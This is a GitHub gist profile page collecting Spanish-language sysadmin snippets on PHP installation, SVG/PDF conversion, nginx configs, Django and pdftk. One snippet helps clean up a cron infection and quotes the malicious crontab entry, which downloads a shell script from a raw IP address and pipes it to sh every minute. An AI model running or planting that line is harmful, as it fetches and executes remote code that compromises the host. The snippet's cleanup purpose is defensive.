Skip to content

Instantly share code, notes, and snippets.

View futuri's full-sized avatar
:octocat:

Heber Futuri futuri

:octocat:
View GitHub Profile
## Instalando php de diferentes versiones en debian linux
su -
wget -P /tmp/ https://packages.sury.org/debsuryorg-archive-keyring.deb
dpkg -i /tmp/debsuryorg-archive-keyring.deb
sh -c 'echo "deb [signed-by=/usr/share/keyrings/deb.sury.org-php.gpg] https://packages.sury.org/php/ $(lsb_release -sc) main" > /etc/apt/sources.list.d/php.list'
apt update
@futuri
futuri / convertsvgtopdf.md
Created March 24, 2021 21:48
Convertir SVG a PDF en GNU Linux y Windows

EN LINUX

Convertir a PDf

inkscape --export-type=pdf --export-dpi=96 *.svg

Unir pdf

pdfunite *.pdf output.pdf

Optimización

ps2pdf -dPDFSETTINGS=/ebook output.pdf output_ebook.pdf

@futuri
futuri / clippath.php
Last active March 24, 2021 21:35
Modificar a coordenas absolutas svg para usarlos en clippath
<?php
$absolute_path = "m 867.66051,733.90902 c 7.58365,-0.58723 13.51927,-6.41546 14.24575,-13.97891 22.85162,-240.14627 25.36563,-451.48674 0,-687.860731 -0.72649,-7.563468 -6.66118,-13.390858 -14.24575,-13.97891 -287.85559,-22.0767539 -550.63525,-26.0815249 -835.319853,0 -7.585418,0.588113 -13.52008,6.41546 -14.246568,13.97891 -22.8516209,240.146271 -25.3665348,451.486731 0,687.860731 0.726498,7.56347 6.662072,13.39258 14.246568,13.97891 287.842933,22.08199 550.635253,26.07801 835.319853,0 z";
function regex_callback($matches) {
static $count = -1;
$count++;
$width = 900;
$height = 752;
if($count % 2) {
return $matches[0] / $height;
} else {
#Search all crontabs
find / -iname cron* -exec grep -R -nw '195.3.146.118' {} +
find / -iname cron* -exec grep -R -nw 'wget -q' {} +
# search results example
# /var/spool/cron/crontabs
# /var/spool/cron/apache
# Comment or remove the line
# * * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1
@futuri
futuri / DjangoPython.md
Last active April 29, 2024 14:52
Django y Python, comando basicos

Requerimientos y VirtualEnv

  • Instalar Pip:

    apt install python3-pip
  • Crear VirtualEnv:

// requisito previo

@futuri
futuri / nginx.conf
Created June 28, 2020 10:58 — forked from mfuzailzubari/nginx.conf
NGINX RTMP Configurations
worker_processes auto;
events {
# Allows up to 1024 connections, can be adjusted
worker_connections 1024;
}
# RTMP configuration
rtmp {
server {
listen 1935; # Listen on standard RTMP port
@futuri
futuri / dev.conf
Last active November 29, 2023 03:19 — forked from fnando/dev.conf
Nginx configuration for SSH tunnel
upstream tunnel {
server 127.0.0.1:3000;
}
server {
listen 80;
server_name tunnel.bigsigmadevelopment.com;
location / {
proxy_set_header X-Real-IP $remote_addr;
@futuri
futuri / pdftk.bat
Last active May 16, 2019 00:10 — forked from jgdoncel/pdftk.bat
PDFTK - Comandos útiles
REM Para unir dos documentos diferentes podemos ejecutar lo siguiente desde la consola:
pdftk archivo1.pdf archivo2.pdf cat output salida.pdf
REM Tambien podemos unirlos utilizando etiquetas:
pdftk A=archivo1.pdf B=archivo2.pdf cat A B output salida.pdf
REM Y por supuesto podemos usar comodines:
pdftk *.pdf cat output salida.pdf
REM Para separar páginas de varios documentos y crear un documento nuevo con estas hacemos lo siguiente: